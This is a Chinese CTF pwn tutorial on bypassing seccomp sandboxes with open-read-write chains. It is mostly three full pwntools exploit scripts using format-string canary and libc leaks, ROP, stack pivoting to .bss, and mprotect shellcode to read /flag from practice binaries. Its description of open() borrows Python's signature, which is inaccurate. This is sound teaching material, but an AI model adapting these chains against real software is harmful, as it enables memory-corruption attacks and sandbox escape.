1:什么是沙盒保护
简单来说开启沙盒保护后execve被禁用,也就是说即使我们拿到shell也没有用。我们可以使用
seccomp-tools dump指令进行查看。
2:使用orw绕过的意义
orw全称open read write.指将根目录下的flag的文件打开,然后read进行读取,最后写出来。由于system函数被禁用,只能通过这种方式拿到flag.
3:例题
前置知识open函数的参数,open(name[, mode[, buffering]])
-
name : 一个包含了你要访问的文件名称的字符串值。
-
mode : mode 决定了打开文件的模式:只读,写入,追加等。所有可取值见如下的完全列表。这个参数是非强制的,默认文件访问模式为只读(r)。
-
buffering : 如果 buffering 的值被设为 0,就不会有寄存。如果 buffering 的值取 1,访问文件时会寄存行。如果将 buffering 的值设为大于 1 的整数,表明了这就是的寄存区的缓冲大小。如果取负值,寄存区的缓冲大小则为系统默认。
所以简单来说open(flag,0)这样就是符合我们要求需要构造的open函数
##例题1:
来自于polar中的pwn困难的“格式化”存在后门函数,但是可以通过orw进行操作
开启了canary保护
思路:第一次gets读入先泄露canary的值,第二次gets读入泄露libc_base,顺便返回到main函数
然后第三次读入泄露一个栈地址。最后orw。
from pwn import *
#p=remote("120.46.59.242",2141)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./fm")
def bug():
gdb.attach(p)
pause()
elf=ELF('./fm')
rdi=0x400883
bss=0x601060
ret = 0x4005a1
main = 0x400726
payload=b'%31$p'
#bug()
p.sendline(payload)
p.recvuntil("0x")
canary=int(p.recv(16),16)
print(hex(canary))
pay=b'%7$saaaa'+p64(elf.got['printf'])+p64(canary)*25+p64(ret)+p64(main)
p.sendline(pay)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['printf']
print('libcbase:'+ hex(libc_base))
mprotect=libc_base+libc.symbols['mprotect']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
rsi = 0x2601f + libc_base
rdx = 0x119431 + libc_base
pay = b'%4$p'
p.sendline(pay)
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(stack))
pause()
payload = b"/flag\x00\x00\x00"+p64(canary)*26
payload += p64(rdi)
payload += p64(stack)
payload += p64(rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(rdi)
payload += p64(3)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)*2
payload += p64(read_addr)
payload += p64(rdi)
payload += p64(1)
payload += p64(rsi)
payload += p64(bss+0x100)
payload += p64(rdx)
payload += p64(0x100)*2
payload += p64(write_addr)
#pause()
p.sendline(payload)
p.interactive()
或者在返回main函数后选择栈迁移到bss段上读取flag.
##例题2:
接收一下puts函数的地址计算出libc然后进行orw,这个题是在bss上操作的
from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
p = process("./orw")
elf=ELF('./orw')
def bug():
gdb.attach(p)
pause()
rdi=0x4012c3
bss=0x404040
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
rdx=libc_base+0x119431
rsi=libc_base+0x2601f
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
pay1=b'a'*0x20+p64(bss+32)+p64(0x401220)
p.send(pay1)
pay2=b'a'*0x28+p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)*2+p64(mprotect)+p64(bss+112)+asm(shellcraft.open("/flag"))+asm(shellcraft.read(3,bss,0x100))+asm(shellcraft.write(1,bss,0x100))
###pay3=b'a'*32+b'/flag\x00\x00\x00'+p64(rdi)+p64(bss+0x20)+p64(rsi)+p64(0)+p64(open)+p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x700)+p64(rdx)+p64(0x100)*2+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x700)+p64(rdx)+p64(0x100)*2+p64(write)
p.sendline(pay2)
p.interactive()
第一个payload进行栈迁移到bss段上。pay2先进行溢出,构造mprotect函数的三个参数,进行调用。然后返回到bss段上。然后orw。pay3是手动构造orw三个函数先将flag这个东西写到bss上然后就是先构造每个函数的参数,最后orw读出来flag。
##例题3:
溢出字节0x10,和上篇栈迁移文章一样,先迁移到bss段上,然后继续读入到bss段上去泄露libc_base,然后进行orw
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)
rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
pay=p64(rdi)+p64(0)+p64(rsi)+p64(0x404a80-8)+p64(rdx_r12)+p64(0x1000)*2+p64(read_addr)+p64(bss+0x500-8)+p64(0x00000000004011ec)
bug()
p.send(pay)
payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(0x404a80-8)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)
payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)
payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
p.send(payload)
p.interactive()
可以去看下上一篇的栈迁移有详细解答。栈迁移完就是正常的orw。